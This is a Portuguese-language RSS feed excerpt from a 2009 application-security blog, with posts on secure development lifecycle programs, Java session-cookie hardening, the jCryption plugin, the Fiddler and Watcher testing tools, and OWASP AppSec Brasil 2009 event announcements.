		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/sxtOFscNaCg/</link>
		<comments>http://wagnerelias.com/2009/09/24/sdl-secure-development-lifecycle-tao-simples-quanto-parece/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 14:16:12 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/09/24/sdl-secure-development-lifecycle-tao-simples-quanto-parece/</guid>
		<description><![CDATA[Devido a demandas por adequação a padrões, o processo de segurança em desenvolvimento de software é hoje um assunto em alta. Isto me preocupa, afinal, de onde surgiram tantos especialistas? Cheguei a comentar com um amigo: tem mais especialista que aplicação vulnerável.
São inúmeras palestras e promessas milagrosas. Pessoas citam os touchpoints de Gary McGraw e [...]]]></description>
			<content:encoded><![CDATA[<p>Devido a demandas por adequação a padrões, o processo de segurança em desenvolvimento de software é hoje um assunto em alta. Isto me preocupa, afinal, de onde surgiram tantos especialistas? Cheguei a comentar com um amigo: tem mais especialista que aplicação vulnerável.</p>
<p>São inúmeras palestras e promessas milagrosas. Pessoas citam os <a href="http://www.cigital.com/training/touchpoints/"><strong>touchpoints de Gary McGraw</strong></a> e o <a href="http://msdn.microsoft.com/en-us/security/cc448177.aspx"><strong>processo de SDL da Microsoft</strong></a> como se fossem íntimos e tenham implementado em vários cenários e organizações, sem contar a falácia da <a href="http://www.commoncriteriaportal.org/"><strong>ISO/IEC 15.408</strong></a>, que muitos acreditam cegamente ser uma proposta para segurança em desenvolvimento.</p>
<p>Tudo isto para buscar ser "cool" e/ou tentar abocanhar uma fatia de um mercado que vem surgindo. A pesquisa, o estudo e disseminação de conhecimento são super importantes, mas que, os que se aventuram pelo tema tenham convicção de uma coisa: <strong>não é nenhum pouco simples e fácil implementar e ter bons resultados com processos de SDL.</strong><br />
<strong><br />
Wagner, você está traindo "o movimento"? Você não acredita mais em segurança em desenvolvimento?</strong></p>
<p>Muito pelo contrário, acredito e muito, mas sei muito bem o caminho a ser percorrido e as dificuldades que encontrarei. Há pelo menos cinco anos eu estudo e vivencio como consultor, a realidades das organizações frente à segurança de software.</p>
<p>Muitas organizações não conseguem justificar mais uma área de desenvolvimento interno, como irão justificar o investimento em segurança de software? Os sábios logo dirão: <strong>Cobre do fornecedor o processo de SDL.</strong></p>
<blockquote><p>Sim, você pode cobrar do fornecedor, só não se assuste se o seguinte cenário lhe for apresentado: Eu cobro R$ 500,00 por hora de desenvolvimento, com segurança eu preciso incluir um pequeno adicional, fica R$ 600,00 por hora.</p></blockquote>
<p><strong>Como diria o Zé: não existe almoço grátis! Alguém tem que pagar a conta.<br />
</strong><br />
<strong>Como equacionar esta dificuldade de justificar e conscientizar as empresas a investir recursos em segurança em desenvolvimento?<br />
</strong><br />
Não existe resposta pronta, sugestões como: conscientize, treine, mostre o ROI, etc... Servem para uns e não servem para outros. Se eu pudesse sugerir algo, eu começaria pelo básico, não acredite em soluções milagrosas, não acredite em quem lhe promete entregar o que você não conseguiu a vida toda em um mês de trabalho e ao preço de um almoço.<br />
<strong><br />
Um processo como este leva tempo e no mínimo os seguintes aspectos devem ser considerados:</strong></p>
<ul>
<li>Compliance é o mínimo do requerido, não espere que esta demanda justifique o processo de segurança em desenvolvimento;</li>
<li>Identifique de que maneira a sua organização é afetada pela insegurança de software;</li>
<li>Tenha ciência que a maioria dos impactos relacionados a incidentes envolvendo falhas de software impacta indiretamente a organização e os valores são intangíveis. A famosa fórmula de ROI pode não lhe ajudar nestes cenários;</li>
<li>Envolva todos no processo, não seja apenas o auditor que aponta as falhas e cobra uma solução;</li>
<li>Não trate um processo de SDL como um projeto que você desenvolve meia dúzia de documentos e está feito. Busque a melhoria contínua, crie e acompanhe métricas que possam viabilizar e melhorar o processo.</li>
</ul>
<p>Com estes pontos você terá muito trabalho, a parte fácil é desenhar os fluxos e escrever cartilhas e procedimentos.</p>
<p><strong>[Update - 25 de Setembro]</strong> O Fernando Cima escreveu um post com excelentes referências para quem deseja implementar um SDL:  <a href="http://blogs.technet.com/risco/archive/2009/09/25/retorno-sobre-o-investimento-de-um-processo-seguro-de-desenvolvimento.aspx?CommentPosted=true#commentmessage">Retorno Sobre o Investimento de um Processo Seguro de Desenvolvimento</a></p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/09/24/sdl-secure-development-lifecycle-tao-simples-quanto-parece/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/09/24/sdl-secure-development-lifecycle-tao-simples-quanto-parece/</feedburner:origLink></item>
		<item>
		<title>Uma alternativa ao SSL</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/H-96UiW563s/</link>
		<comments>http://wagnerelias.com/2009/08/28/uma-alternativa-ao-ssl/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 13:21:18 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/08/28/uma-alternativa-ao-ssl/</guid>
		<description><![CDATA[Muitas vezes necessitamos criptografar o tráfego de dados sensíveis em aplicação, a melhor opção para estes casos é usar SSL. Obviamente que o SSL deve ser bem implementado, pois muitas vezes ele é mal implementado e possibilita que algumas vulnerabilidades sejam exploradas.
Infelizmente implementar SSL em todos os ambientes nem sempre é responsabilidade do desenvolvedor, geralmente [...]]]></description>
			<content:encoded><![CDATA[<p>Muitas vezes necessitamos criptografar o tráfego de dados sensíveis em aplicação, a melhor opção para estes casos é usar SSL. Obviamente que o SSL deve ser bem implementado, pois muitas vezes ele é <a href="http://www.webreference.com/internet/ssl2/"><b>mal implementado e possibilita que algumas vulnerabilidades sejam exploradas.</b></a></p>
<p>Infelizmente implementar SSL em todos os ambientes nem sempre é responsabilidade do desenvolvedor, geralmente ele depende de uma área responsável por infraestrutura. Quando não existe um bom relacionamento entre as áreas e/ou um estudo de requisitos antes de colocar uma aplicação em produção, a aplicação acaba indo para produção sem o SSL e consequentemente exposta as vulnerabilidades pertinentes a <a href="http://msdn.microsoft.com/en-us/library/aa291875%28VS.71%29.aspx#vxcondesigningforsecurabilityanchortamperingwithdata"><b>data tampering</b></a>.</p>
<p>Uma alternativa para desenvolvedores é um plugin chamado <a href="http://www.jcryption.org/"><b>JCryption</b></a> para o framework javascript <a href="http://jquery.com/"><b>JQuery</b></a>. O plugin possibilita que seja criptografado as requisições POST e GET. Ele não substitui o SSL, mas pode "quebrar o galho" em algumas requisições.</p>
<p>A implementação é simples, basta seguir os <a href="http://www.jcryption.org/demo/"><b>exemplos da página do plugin</b></a>.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=8edbb0db-4234-82e8-be60-c485f74ca016" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/08/28/uma-alternativa-ao-ssl/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/08/28/uma-alternativa-ao-ssl/</feedburner:origLink></item>
		<item>
		<title>Hardening de sessões em ambiente Java</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/9eMRcmG8j1M/</link>
		<comments>http://wagnerelias.com/2009/07/10/hardening-de-sessoes-em-ambiente-java/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 18:48:35 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/07/10/hardening-de-sessoes-em-ambiente-java/</guid>
		<description><![CDATA[É bastante comum eu encontrar problemas em sessões de aplicações baseadas no ambiente Java. Estes problemas geralmente não são conhecidos por desenvolvedores, pois eles deixam todo o processo de criação e gestão de sessão a cargo do servidor de aplicação. A grande maioria dos servidores de aplicação Java não suportam ou não trazem por padrão [...]]]></description>
			<content:encoded><![CDATA[<p>É bastante comum eu encontrar problemas em sessões de aplicações baseadas no ambiente Java. Estes problemas geralmente não são conhecidos por desenvolvedores, pois eles deixam todo o processo de criação e gestão de sessão a cargo do servidor de aplicação. A grande maioria dos servidores de aplicação Java não suportam ou não trazem por padrão as configurações adequadas para garantir a segurança destas sessões. </p>
<p>Neste post eu pretendo apresentar a solução para cada um dos problemas que eu encontro em análises que eu realizo. Todas as soluções dependem de codificação e devem ser feitas pelo desenvolvedor.</p>
<p><b>1 - Falta da flag HTTPOnly nos cookies de sessão<br /></b><br />Como já podemos verificar em outro <a href="http://wagnerelias.com/2008/11/01/hardening-de-sessao-no-php/"><b>post aqui no blog</b></a>, a falta da flag HTTPOnly nos cookies de sessão é um facilitador para ataques client-side que buscam sequestrar sessão de usuário, pois sem a flag é possível capturar o ID de Sessão via javascript. <a href="http://www.owasp.org/index.php/HTTPOnly#Using_Java_to_Set_HTTPOnly"><b>Mais informações podem ser obtidas na referência da OWASP</b></a>.</p>
<p><b>Como tratar este risco<br /></b><br />Para tratar este risco é preciso reescrever o cookie mantendo os dados originais e incluindo a flag HTTPOnly.</p>
<blockquote><p>response.setHeader("Set-Cookie", <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "originalcookiename=originalvalue; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTPOnly");</p></blockquote>
<p><b>2 - Falta da Flag secure nos cookies de sessão</b></p>
<p>É importante que a flag secure seja setado em todo cookie de sessão. Isto irá garantir que um cookie gerado em uma conexão HTTPS (Conexão Criptografada) irá trafegar apenas por uma conexão tunelada via HTTPS. A falta desta flag permite que o cookie seja trafegado via HTTP (Texto Claro) e possa ser capturado por usuários mal intencionados que estejam capturando pacotes em rede. <a href="http://www.owasp.org/index.php/OWASP_AppSec_FAQ#What_are_these_secure_cookies.3F"><b>Mais informações podem ser obtidas na referência da OWASP.</b></a></p>
<p><b>Como tratar este risco</b></p>
<p>O tratamento deste risco é semelhante ao do HTTPOnly, basta reescrever o cookie e incluir a flag secure. Não esqueça de manter a flag HTTPOnly ao reescrever o cookie para incluir a flag secure.</p>
<blockquote><p>response.setHeader("Set-Cookie", <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "originalcookiename=originalvalue; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Secure;HTTPOnly");</p></blockquote>
<p><b>3 - Session Fixation</b></p>
<p>Com esta vulnerabilidade o ID de sessão pode ser capturado por um ataque client-side e ser "forçado" seu uso em uma requisição. Isso possibilita burlar o sistema de autenticação da aplicação. <a href="http://www.owasp.org/index.php/Session_Fixation"><b>Mais informações podem ser obtidas na referência da OWASP.</b></a></p>
<p><b>Como tratar este risco</b></p>
<p>Para tratar este risco é necessário recriar a sessão após a autenticação. <a href="http://java.sapao.net/Home/criar-nova-ses%C3%A3o-ap%C3%B3s-a-autentica%C3%A7%C3%A3o-do-usu%C3%A1rio"><b>Um exemplo de código é dado pelo Lucas Ferreira no seu site sobre segurança em Java</b>.</a></p>
<blockquote><p><b>O código abaixo mostra como abandonar uma sessão a criar outra após a autenticação:<br /></b><br />public class ExampleLoginServlet extends HttpServlet {<br />public void doGet(HttpServletRequest request, HttpServletResponse response)<br />&nbsp;&nbsp;&nbsp;&nbsp; throws ServletException, IOException {<br />&nbsp;&nbsp;&nbsp;&nbsp; if( //autenticação bem sucedida ) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; request.getSession().invalidate();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HttpSession session = request.getSession(true);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session.setAttribute("AUTHENTICATED", new Boolean(true));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.sendRedirect("PageRequiringAuthentication.jsp");</p>
<p><b>No caso de aplicações Struts 2, o código abaixo é mais apropriado:<br /></b><br />if(//autenticação bem sucedida)&nbsp; {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; /* Renovação do identificador de sessão */<br />&nbsp;&nbsp;&nbsp;&nbsp; ((SessionMap)this.session).invalidate();<br />&nbsp;&nbsp;&nbsp;&nbsp; this.session = ActionContext.getContext().getSession();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; session.put("AUTHENTICATED", new Boolean(true));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; return SUCCESS;<br />&nbsp; }</p>
<p>&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp; return ERROR;<br />}</p></blockquote>
<p>É importante que desenvolvedores entendam que para garantir a seguranca de uma aplicação, é preciso configurar adequadamente todos os ativos que a suportam, como: Banco de Dados e Servidor de Aplicação. Um bom código sem uma infraestrutura adequada pode levar ao comprometimento da aplicação.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/07/10/hardening-de-sessoes-em-ambiente-java/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/07/10/hardening-de-sessoes-em-ambiente-java/</feedburner:origLink></item>
		<item>
		<title>OWASP AppSec Brasil 2009 – CFP Deadline</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/j9XF5yhqNn8/</link>
		<comments>http://wagnerelias.com/2009/07/07/owasp-appsec-brasil-2009-cfp-deadline/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 19:12:24 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/07/07/owasp-appsec-brasil-2009-cfp-deadline/</guid>
		<description><![CDATA[Estamos na última semana para submissão de propostas de palestras para o AppSec Brasil 2009. Mais informações na página do evento: http://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29
Ajudem-nos a espalhar o CFP e a solicitar o envio de propostas interessantes para o evento.
]]></description>
			<content:encoded><![CDATA[<p>Estamos na última semana para submissão de propostas de palestras para o AppSec Brasil 2009. Mais informações na página do evento: <a href="http://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29" target="_blank">http://www.owasp.org/index.<wbr />php/AppSec_Brasil_2009_%28pt-<wbr />br%29</a></p>
<p>Ajudem-nos a espalhar o CFP e a solicitar o envio de propostas interessantes para o evento.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/07/07/owasp-appsec-brasil-2009-cfp-deadline/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/07/07/owasp-appsec-brasil-2009-cfp-deadline/</feedburner:origLink></item>
		<item>
		<title>Fiddler, uma boa opção para teste de app web</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/00wqpD909sI/</link>
		<comments>http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 23:08:48 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/</guid>
		<description><![CDATA[Hoje ao analisar uma aplicação que só funcionava adequadamente no Internet Explorer, eu percebi o quanto sou dependente de alguns plugins do Firefox (HTTP Live Header, Tamper Data, Firebug, HTTPFox, entre outros). Eu realizo muitos testes manuais e eles são essenciais nestas análises, o Internet Explorer também possui alguns plugins, mas eu ainda não tive [...]]]></description>
			<content:encoded><![CDATA[<p>Hoje ao analisar uma aplicação que só funcionava adequadamente no Internet Explorer, eu percebi o quanto sou dependente de alguns plugins do Firefox (HTTP Live Header, Tamper Data, Firebug, HTTPFox, entre outros). Eu realizo muitos testes manuais e eles são essenciais nestas análises, o Internet Explorer também possui alguns plugins, mas eu ainda não tive a oportunidade de testá-los.</p>
<p>Como eu precisava de uma opção rápida, optei pelo <a href="http://www.fiddler2.com/"><strong>Fiddler</strong></a>. Já fazia um bom tempo que eu não o utilizava, a última vez foi para testar o <a href="http://websecuritytool.codeplex.com/"><strong>Watcher</strong></a>, quando foi lançado há alguns meses atrás.</p>
<p>O fiddler, atualmente na versão v2.2.2.2.2 Beta (isso mesmo, eu não me enganei na quantidade de números 2), é um sniffer bem completo e que possui uma série de plugins que ajudam muito na depuração e identificação de falhas em aplicações web. Com uma interface bastante apurada você pode mapear claramente a aplicação e inclusive documentar requisições usando a opção Comment. Para utilizar o Fiddler basta iniciá-lo e configurar o seu Internet Explorer para usar o proxy no endereço IP 127.0.0.1 (Localhost) na porta 8888.</p>
<p>Bom, vamos ao que interessa, as extensões que o Fiddler possui. Uma bem interessante e que lembra muito o modo de teste do <a href="http://code.google.com/p/ratproxy/"><strong>Ratproxy </strong></a>(análise passiva) do Google, é o Watcher. Esta extensão se acopla ao Fiddler e realiza uma série de testes de segurança da aplicação.</p>
<p>O modo de instalação do Watcher é bem simples, basta extrair os seguintes arquivos do pacote de instalação: Watcher.dll e WatcherCheckLib.dll no diretório scripts que se encontra no diretório: %userprofile%\My Documents\Fiddler2\Scripts no Windows XP e %userprofile%\Documents\Fiddler2\Scripts. Após a extração dos arquivos no diretório adequado é só reiniciar o Fiddler que irá aparecer uma aba chamada: Security Auditor.<br />
<strong><br />
Como utilizar o Watcher</strong>?</p>
<p>Na aba Security Auditor insira o domínio da aplicação que você deseja testar.</p>
<div><img style="max-width: 430px;" src="http://wagnerelias.com/wp-content/uploads/2009/06/watcher.jpg" alt="" /></div>
<p>Após definir o domínio é só clicar em Save Config e navegar na aplicação usando o Internet Explorer configurado para navegar usando o Fiddler como proxy.</p>
<p>Após navegar por toda a aplicação que você deseja testar, clique na aba Results do Watcher e confira a análise realizada.</p>
<p>O que eu achei bem interessante no Watcher foi a possibilidade de incluir, alterar as mensagens que ele analisa durante o parser nas respostas a requisições na página. Um que vale a pena gastar um tempo e incluir palavras chaves é o teste que procura por palavras chaves em comentários no código.</p>
<div><img style="max-width: 430px;" src="http://wagnerelias.com/wp-content/uploads/2009/06/comments1.jpg" alt="" /></div>
<p>Ah! Quem utiliza o Internet Explorer para testar aplicações e quer sugerir plugins, ferramentas, o comentário está ai pra isto.</p>
<p><strong>[Update 31/08/2009]</strong></p>
<p>Alguns plugins para o Internet Explorer:</p>
<p><a href="http://www.bayden.com/TamperIE/">Tamper IE:</a> Similar ao excelente Tamper Data do Firefox<br />
<a href="http://www.microsoft.com/downloadS/details.aspx?familyid=E59C3964-672D-4511-BB3E-2D5E1DB91038&amp;displaylang=en">Internet Explorer Developer Toolbar:</a> Similar ao Web developer Toolbar do Firefox<a href="http://www.httpwatch.com/"><br />
HTTP Watch:</a> Similar ao HTTP Live Header do Firefox<br />
<a href="http://www.nirsoft.net/">IECookiesView:</a> Similar ao CookieEditor do Firefox<a href="http://www.nirsoft.net/" target="_blank"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/</feedburner:origLink></item>
		<item>
		<title>Treinamentos You Sh0t the Sheriff 3.0</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/v7befKJsXRI/</link>
		<comments>http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/#comments</comments>
		<pubDate>Thu, 14 May 2009 17:46:33 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/</guid>
		<description><![CDATA[Este ano a Conviso está novamente patrocinando o evento You Sh0t the Sheriff. Além do patrocínio, este ano na sua terceira edição, o evento irá também oferecer treinamentos nos dias 23 e 24 de Junho.
A conviso irá ministrar dois treinamentos:

Web Hacking Techniques
Internet Hacking Techniques

O evento acontece no dia 22 de Junho e espero vocês lá.

]]></description>
			<content:encoded><![CDATA[<p>Este ano a <b><a href="http://www.conviso.com.br">Conviso</a> </b>está novamente patrocinando o evento <a href="http://www.ysts.org/"><b>You Sh0t the Sheriff</b></a>. Além do patrocínio, este ano na sua terceira edição, o evento irá também oferecer treinamentos nos dias 23 e 24 de Junho.</p>
<p><b>A conviso irá ministrar dois treinamentos:</b></p>
<ul>
<li><a href="http://www.ysts.org/treinamentos.html#WHT">Web Hacking Techniques</a></li>
<li><a href="http://www.ysts.org/treinamentos.html#IHT">Internet Hacking Techniques</a></li>
</ul>
<p>O evento acontece no dia 22 de Junho e espero vocês lá.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=46941898-327f-846f-ae91-c823087ddd7a" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/</feedburner:origLink></item>
		<item>
		<title>Chamada de Trabalhos – OWASP AppSec Brasil 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/i7ZMxlKtbaw/</link>
		<comments>http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/#comments</comments>
		<pubDate>Mon, 11 May 2009 15:19:45 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/</guid>
		<description><![CDATA[O OWASP solicita propostas de apresentações para a conferência internacional OWASP AppSec Brasil 2009, que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. [...]]]></description>
			<content:encoded><![CDATA[<p>O OWASP solicita propostas de apresentações para a conferência internacional OWASP AppSec Brasil 2009, que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. Esta conferência será promovida e organizada pela Comunidade TI-Controle e pela Câmara dos Deputados. </p>
<p>Buscamos pessoas e organizações que queiram ministrar palestras sobre segurança de aplicações. Em particular destacamos os seguintes tópicos de interesse: </p>
<dl>
<dd>
<ul>
<li> Modelagem de ameaças em aplicações (Application Threat Modeling) </li>
<li> Riscos de Negócio em Segurança de aplicações (Business Risks with Application Security) </li>
<li> Aplicações de Revisões de Código (Hands-on Source Code Review) </li>
<li> Métricas Aplicadas a Segurança de Aplicações (Metrics for Application Security) </li>
<li> Ferramentas e Projetos do OWASP (OWASP Tools and Projects) </li>
<li> Tópicos de Privacidade em Aplicações e Armazenamento de Dados (Privacy Concerns with Applications and Data Storage) </li>
<li> Práticas de Programação Segura (Secure Coding Practices) </li>
<li> Programas de Segurança para todo o Ciclo de Vida de alicações (Secure Development Lifecycle Programs) </li>
<li> Tópicos de Segurança para tecnologias específicas (AJAX, XML, Flash, etc) (Technology specific presentations on security such as AJAX, XML, etc) </li>
<li> Controles de Segurança para aplicações Web (Web Application Security countermeasures) </li>
<li> Testes de Segurança de aplicações Web (Web Application Security Testing) </li>
<li> Segurança de Web Services ou XML (Web Services-, XML- and Application Security) </li>
</ul>
</dd>
</dl>
<p>A lista de tópicos não é exaustiva; outros tópicos podem ser abordados, desde que em consonância com o tema central do evento. </p>
<p>As propostas devem conter: </p>
<dl>
<dd>
<ul>
<li> Nome do apresentador e dos demais autores </li>
<li> E-mail e telefone do apresentador </li>
<li> Curriculum resumido do apresentador e, opcionalmente, dos demais autores </li>
<li> Título da apresentação </li>
<li> Resumo e abstract </li>
<li> Lista de todos os assuntos a serem abordados durante a apresentação </li>
<li> Qualquer outro material que os autores julguem necessários (Estes materiais ficarão restritos ao comitê de programa) </li>
</ul>
</dd>
</dl>
<p>Cada apresentação terá 45 minutos de duração, seguidos de 10 minutos para perguntas da platéia. Todas as apresentações deverão estar em conformidade com as regras definidas pelo OWASP em seu "Speaker Agreement". </p>
<p><b>Datas importantes:</b> </p>
<dl>
<dd>  A data limite para apresentação de propostas é 11 de julho de 2009 às 23:59, horário de Brasília. </dd>
<dd>  A notificação de aceitação ocorrerá até o dia 7 de agosto de 2009. </dd>
<dd>  A versão final das apresentações deverá ser enviada até o dia 15 de setembro de 2009. </dd>
</dl>
<p>As propostas devem ser enviadas para o e-mail: <b>appsec.brasil@camara.gov.br</b> </p>
<p>Para mais informações, favor consultar as seguintes páginas: </p>
<dl>
<dd>  Página da conferência: <a href="https://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29" class="external free" title="https://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)" rel="nofollow">https://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)</a> </dd>
<dd>  Perguntas frequentes: <a href="https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_%28pt-br%29" class="external free" title="https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_(pt-br)" rel="nofollow">https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_(pt-br)</a> </dd>
<dd>  OWASP Speaker Agreement (em inglês): <a href="http://www.owasp.org/index.php/Speaker_Agreement" class="external free" title="http://www.owasp.org/index.php/Speaker_Agreement" rel="nofollow">http://www.owasp.org/index.php/Speaker_Agreement</a> </dd>
<dd>  Comunidade TI-Controle: <a href="http://www.ticontrole.gov.br/" class="external free" title="http://www.ticontrole.gov.br" rel="nofollow">http://www.ticontrole.gov.br</a> </dd>
<dd>  Câmara dos Deputados: <a href="http://www.camara.gov.br/" class="external free" title="http://www.camara.gov.br" rel="nofollow">http://www.camara.gov.br</a> </dd>
</dl>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=ac541e4a-2de4-8e27-a81e-2fb70f97bf5a" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/</feedburner:origLink></item>
		<item>
		<title>OWASP AppSec Brazil 2009 – Brasília, 27-30 de outubro de 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/fnCbds5MmVU/</link>
		<comments>http://wagnerelias.com/2009/04/30/owasp-appsec-brazil-2009-brasilia-27-30-de-outubro-de-2009/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 21:05:22 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/?p=644</guid>
		<description><![CDATA[Após a perseverança do Eduardo Neves, e o excelente trabalho do Lucas Ferreira, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do [...]]]></description>
			<content:encoded><![CDATA[<p>Após a perseverança do <strong><a href="http://camargoneves.com">Eduardo Neves</a></strong>, e o excelente trabalho do <strong><a href="http://www.sapao.net/">Lucas Ferreira</a></strong>, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.</p>
<p>A Conferência será promovida pelo OWASP Brasil com o suporte da <a href="http://www.ti-controle.gov.br/" target="_blank">Comunidade TI-Controle</a> para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:</p>
<ul>
<li>Desenvolvimento seguro</li>
<li>Segurança e arquitetura de software</li>
<li>Processos de desenvolvimento de sistemas seguros</li>
<li>Ferramentas para análise de segurança de aplicações</li>
<li>Bibliotecas e frameworks de segurança para aplicações web</li>
<li>Auditoria e testes de segurança em aplicações</li>
<li>Metodologias gerenciais para melhoria da segurança no desenvolvimento de software</li>
<li>Análise de ataques a aplicações</li>
<li>Avaliação de riscos de negócio em aplicações web</li>
<li>Segurança de web services</li>
</ul>
